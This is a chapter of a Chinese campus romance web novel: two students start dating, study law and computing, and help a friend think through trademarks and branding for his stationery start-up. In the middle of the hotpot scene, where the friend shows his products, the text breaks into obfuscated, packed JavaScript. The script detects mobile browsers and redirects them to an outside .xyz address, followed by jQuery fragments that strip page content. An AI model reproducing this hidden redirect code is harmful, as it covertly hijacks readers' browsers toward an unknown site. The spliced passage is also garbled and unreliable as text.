时间的概念在此刻变得模糊而黏稠。他鼻息间的热气，交握掌心的薄汗，都像是被无限拉长的电影慢镜头。过了不知道多久，顾知秋才听到那两个字钻进耳朵：“走吧。
他轻轻动了动交握的手，带着她往前走。
宿舍楼下，喧闹的人声和明亮的灯火涌过来。顾知秋像是从梦中回到现实，下意识地微微用力，想抽回手来。
她的指尖才微微一缩，一股更紧的力道便从时越的掌心传来，仿佛在无声地挽留。但只持续了一瞬，像是意识到了什么，他的手指带着几分迟疑，一寸寸地退开。冰凉的空气瞬间涌入，缠绕着空落落的手指，失落感也随即涌来。
“到了。”他说，随即把她的背包递还给她。手指蜷缩，上面还残留着她的温度。
“嗯。”她接过背包。
“明天周末……”他开口。
“明天9点一起吃早饭？”她几乎同时开口。
时越很快笑着回复：“好，那明天还是在这等你。”
她转身走进楼门，她忍不住回头，透过玻璃门看向门外的人。
他还站在原地，身影被门口的灯光拉得细长。见她回头，他愣了一瞬，随即嘴角缓慢上扬，毫不掩饰的笑意，带着点少年的真切和笨拙。
他抬手朝她挥了挥，像是催促，也像是告别。
顾知秋也笑了，胸口像是被什么东西彻底填满了。没有波澜壮阔的宣言，没有炽热灼人的亲吻。只有黑暗里一个小心翼翼的十指交握。
但就在这个瞬间，一个念头清晰浮现脑海：原来，这就是恋爱的感觉。这份踏实感，比她想象中的任何轰轰烈烈，都更动人。
门外，时越直到她的背影消失，才缓缓收回目光。他低下头，指尖上似乎还残留着她方才的气息。他下意识地收拢手指，这才将手重新插回外套口袋，转身走入了京市的秋夜之中。他的步伐一如既往，却莫名轻快了几分。
—
不过下午五点多，天色已经呈现出一种朦胧的灰蓝色。图书馆里，顾知秋对着摊开的《法学导论》和密密麻麻的笔记，有些出神。
她面前的笔记本上有一段关于“法律的应然状态与实然状态”的论述，每一个字她都认识，但组合在一起，却像一团解不开的线团，在脑子里绕来绕去。她试图在草稿纸上画出逻辑关系图，又迟迟找不到下笔的点。
下午的课上，教授随口提了几个法学流派的基本观点，让他们“有空可以了解一下”。她当时在笔记上记下了那几个拗口的名字和代表作，现在对着图书馆的检索系统，更是发愁，相关的专著太多了，每一本都厚得能防身。
旁边几个高年级的师兄师姐正低声讨论着一个模拟法庭的案例，“……注意对方可能会援引‘期待可能性’来做无罪辩护……” 他们娴熟地运用专业术语，那份从容自信的状态，像一颗颗石子投进顾知秋心里，她清晰地意识到，从埋头刷题的高中到这个更广阔的世界，她还有很长的路要走。
手机屏幕在桌面上亮起，是时越。【进展如何？】
她拿起手机，指尖在屏幕上停顿了一下。打了一句“有点卡住”，又删掉，换成了更具体的。
栀栀复只只：【还在图书馆。快要被‘自然法学派’和‘分析实证主义’绕晕了。你呢？】
SY：【刚出实验室，有点累。】
看到这个字，顾知秋心中微微一动。这好像第一次听他主动说累。她回复：【和他们没讨论出结果？】
SY:【嗯。基础模型设定，僵持不下。】
栀栀复只只：【那就先放放，脑子里那根弦不能一直绷着。一会去二食堂吗？请你吃饭。】
他回了一个【好】字。
刚放下手机，电脑上视频请求的界面就跳了出来，是徐嘉瑜那张永远精力充沛的脸。
“顾只只同学！”背景音有点嘈杂，像是在某个活动现场，“快，对我今天的妆造进行一个五分钟以上、不带重复的的夸奖！”
顾知秋忍不住笑，戴着耳机，打字回复：【超好看！最像女明星的未来导演！以上这句话语重复300次。】
“敷衍！”徐嘉瑜嗔怪，然后凑近屏幕，眼神暧昧，“别打岔，汇报一下，和你家亲亲时越自从上次牵牵小手后有没有突破性进展？”
“能有什么进展，每天他都忙得脚不沾地。”顾知秋压低声音，“刚约了去食堂吃晚饭。”
“又是去食堂？”徐嘉瑜在对面翻了个娇俏的白眼，“你们这恋爱谈得，比我爷爷奶奶那年代还要根正苗红！”
“不过也挺好。你和时越这种状态，直接进入安稳自如的老夫老妻状态，比什么轰轰烈烈都靠谱。妥了。”
顾知秋笑着和她又扯了几句，挂了视频。窗外，天色又暗了一层，路灯接连亮起。走出图书馆，夜风微凉，时越已经在门口的路灯下等她。
他很自然地伸手，接过了她沉甸甸的帆布包。“今天怎么样？”
“还行，最后总算理出点头绪了。”顾知秋活动了一下有些僵硬的脖子，“感觉师兄师姐们好厉害，希望以后我也能这么自信，这么专业……”
顾知秋一路有一搭没一搭碎碎念着，时越会应上几句。两人并肩，脚下的步调惊人地合拍。路过一座小桥时，一阵风吹过，时越忽然伸手替她理了理被风吹乱的头发，动作自然得像是做过千百遍。
顾知秋突然觉得徐嘉瑜的话挺对的，跟时越在一起，确实是按部就班的安心。也很符合她的“老灵魂”。
—
而这有条不紊的节奏，在周末被一个咋咋呼呼的声音打乱。
“知总！越哥！我想死你们了！”江一鸣突然就出现在P大的西门口。他剪了利落的短发，穿着笔挺的衬衫，整个人看起来成熟了不少。只是一说话，就还是老样子，满身用不完的热情活泼。
当天晚上，喊上了徐嘉瑜，几人一起去吃火锅，气氛喧闹无比。红油滚沸，蒸汽氤氲，江一鸣的嘴也像锅底一样，咕嘟咕嘟冒着泡，一刻不停地说着大学新鲜事。
涮肉间隙，他的眼神在顾知秋和时越之间转了几圈，终于按捺不住，故作暧昧：“哎，说真的，你俩现在……到底啥进度了？”徐嘉瑜也在一旁起哄，缠着顾知秋问有没有什么恋爱小故事分享。
时越正用漏勺捞起几片完美的肥牛，闻言，手腕一转，全数放进了顾知秋的油碟里。然后才抬眼，没什么表情地瞥了江一鸣一眼：“火锅都堵不上你的嘴？”
江一鸣看看时越那行云流水般的投喂动作，再看看顾知秋抿嘴笑的样子，猛地一拍大腿，痛心疾首：“越哥，你这夹菜的手速比解题还快！突然感觉我被狗粮喂饱了，甲鱼，要不咱俩先走吧？”
他言行浮夸，顾知秋笑得肩膀微颤。时越的嘴角也几不可见地弯了一下，抬手叫来服务员：“再加一盘千层肚，给他。”一招精准投喂，手动闭麦。
笑闹一番，酒足饭饱后江一鸣终于有些正经起来，聊起他正在琢磨的创业计划，最后神秘兮兮地从背包里掏出几样东西：“看！哥正在搞的小项目！”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483117|181043||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
几套设计精美的文创产品——烫金的书签、封面别致的笔记本、印着俏皮语录的文件夹……
“可以啊你！”徐嘉瑜和顾知秋都真心实意的认为设计的很好，纷纷表示如果是自己的话，愿意花钱购买。
“嘿嘿，小爷我天赋异禀，商业奇才！”江一鸣得意地扬了扬下巴，随即又有点不好意思地挠挠头，“其实，就是觉得对这方面挺有兴趣，想试试市场的反应。”
时越拿起一个黄铜书签，仔细看了看边缘和厚度，又摩挲了一下手账本的纸张质感，中肯地评价：“做工和选材都不错。实用性上或许可以再加强一点，”他指着书签，“比如这里加上毫米刻度，既能当书签，也能当临时尺子。”
“不愧是越哥！细节控！”江一鸣夸张地竖起大拇指，又看向顾知秋和徐嘉瑜：“你们呢？也给点意见！”
徐嘉瑜： “我觉得从美感上来说，设计得真不错！这个logo很有辨识度！”
顾知秋沉吟片刻，放下了筷子，：“从设计的角度，我觉得很棒。但从商业的角度，你这个品牌名和Logo去注册商标了吗？”
“啊？”江一鸣愣住了，“商标？我这就是个小项目，还没想那么远……”
“这很重要，甚至可能是最关键的一步，”顾知秋认真地说，“文创产品的核心就是设计和品牌，知识产权保护一定要提前准备好。还有，你现在是自己一个人干还是有合伙人？如果是有合伙人或者以后准备接受投资，你们之间的股权协议、责任划分最好一开始就用书面形式定下来，免得将来有纠纷。”
一连串专业名词把江一鸣说得一愣一愣的，他挠挠头：“我这回去研究一下，回头不懂的再来问你啊。”
顾知秋点点头，“好啊。不过我肯定还是得请教师兄师姐他们。”
徐嘉瑜此时放下了筷子，补充道：“只只说的是保护产品的法律保障，那我说说吸引用户的包装吧。江一鸣，你想过你的品牌‘性格’是什么吗？”
“品牌性格？”江一鸣显然没想过这个问题。
“对。我们这代人买东西，早就不只看功能了。我们买的是一种感觉，这个东西好不好看，酷不酷。。”徐嘉瑜侃侃而谈，眼里闪着光，“你的目标用户，看到你的笔记本，你想让他们产生什么样的情感共鸣？这才是能让用户记住你并选择你的核心，也就是你的‘初心’。”
江一鸣听得入了神，他若有所思地点点头，随即又有些苦恼地挠了挠头：“你说的这个我明白，‘品牌故事’嘛，营销书上都提过。但是……这些听起来就很花钱啊。我现在启动资金有限，每一分钱都得精打细算，得先确保产品质量，还有把知总说的商标先注册下来。”
“谁说讲故事一定要花大钱了？” 徐嘉瑜立刻反驳，“你的创业初心，就是最好的零成本故事！比如，你当初为什么想做这个？你就把这个故事写下来，放在微博上宣传。这肯定比干巴巴地介绍品质多好多牛，更能打动现在的年轻人吧！”
眼看两人就要争论起来了，顾知秋将最后几块肥牛分别放到几个人的碗里，帮他们总结：“嘉瑜和我说的，一个是铠甲，一个是心脏。铠甲保证你能上战场，心脏决定你能走多远。两者缺一不可。”
一番话，让两人都安静下来，各自思考。江一鸣更是猛点头：“来来来，我再敬大家一杯，学到了！”
饭桌上再次恢复了轻松、热烈的气氛，仿佛回到了高三那些忙里偷闲的日子。空气里满是食物的香气和好友重逢的松弛。